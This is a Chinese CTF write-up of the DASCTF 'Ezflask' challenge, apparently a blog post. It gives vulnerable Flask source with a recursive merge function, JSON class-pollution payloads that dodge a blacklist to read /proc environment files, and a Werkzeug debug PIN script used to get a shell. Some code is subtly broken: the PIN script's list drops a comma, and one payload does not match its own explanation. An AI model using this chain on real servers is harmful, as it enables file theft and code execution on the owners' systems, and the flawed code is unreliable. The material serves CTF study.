DASCTF复现 TODO

发布时间 2023-08-15 15:42:57作者: sketch_pl4ne

参考链接

原型链污染相关
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
https://tttang.com/archive/1876/
proc环境变量
https://www.anquanke.com/post/id/241148#h2-1
python内置属性
https://www.cnblogs.com/zhjblogs/p/14725666.html
PIN码构造
https://pysnow.cn/archives/170/
https://xz.aliyun.com/t/11647

Ezflask

题目信息

打开就是源码:

import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
    for i in black_list:
        if i in data:
            return False
    return True

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class user():
    def __init__(self):
        self.username = ""
        self.password = ""
        pass
    def check(self, data):
        if self.username == data['username'] and self.password == data['password']:
            return True
        return False

Users = []

@app.route('/register',methods=['POST'])
def register():
    if request.data:
        try:
            if not check(request.data):
                return "Register Failed"
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Register Failed"
            User = user()
            merge(data, User)
            Users.append(User)
        except Exception:
            return "Register Failed"
        return "Register Success"
    else:
        return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
    if request.data:
        try:
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Login Failed"
            for user in Users:
                if user.check(data):
                    session["username"] = data["username"]
                    return "Login Success"
        except Exception:
            return "Login Failed"
    return "Login Failed"

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5010)

利用思路

看到merge函数,知道是python的原型链污染,在index()里可以读文件
后面分两种做法,读系统变量或者算PIN码

非预期

  1. 访问/register路由注册功能,发payload污染原型属性
  2. 访问首页,读取环境变量文件,获取flag

预期解

flask开了debug模式,可以进控制台、算PIN码

  1. 访问/register路由注册功能,发payload污染原型属性
  2. 访问首页,读取一系列文件,为算PIN码做准备
  3. 用脚本算出PIN码
  4. 访问/console获取权限

Payload

非预期

file

__init__被过滤了,但是json.loads()可以识别unicode,可以绕过
然后污染__file__属性,因为index()里可以用它读文件

{
    "username":"fuck",
    "password":"you",
    "__init_\u005f":{
        "__globals__":{
            "__file__":"../../../proc/1/environ"
        }
    }
}

1.访问注册功能,发payload污染路由
image.png
2.访问网页根目录读文件
image.png

_static_folder

还有另外一种方法,污染flask里的原型属性app._static_folder。
这个属性默认值是服务器上的"./static",假设访问http://localhost/static/xxx,等于访问服务器上./static/xxx文件,如果污染_static_folder="/",再访问http://localhost/static/xxx,就是访问服务器上/xxx了。

{
    "username":"fuck",
    "password":"you",
    "__init_\u005f":{
        "__globals__":{
            "app":"../../../aaaaaa"
        }
    }
}

1.访问注册功能,发payload污染路由
image.png
2.访问/static/xxxx,读取文件
image.png

预期解

读/etc/passwd得到用户名
image.png
读文件报错得到app.py的路径
image.png
读网卡地址
image.png
读machine-id
image.png
读container-id
image.png
算PIN码

import hashlib
from itertools import chain

# werkzeug2.0.x 高版本
probably_public_bits = [
    'root'  # /etc/passwd里找用户
    'flask.app',  # 默认值
    'Flask',  # 默认值
    '/usr/local/lib/python3.10/site-packages/flask/app.py'  # moddir,读文件时,报错得到
]
"""
参数一:/sys/class/net/eth0/address 网卡地址转10进制
参数二:(/etc/machine-id || /proc/sys/kernel/random/boot_id) + (/proc/self/cgroup) 
       其中machine-id优先级大于boot_id,二者取其一
"""
private_bits = [
    str(int("3e:27:a9:b6:a7:61".replace(":", ""), 16)),
    '96cec10d3d9307792745ec3b85c89620' + "docker-0a9c35845909725f1ccc0a7d6f49b2875bce0e5398a2b006886823193b78d3c0.scope"

]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

image.png
getshell,获取flag
image.png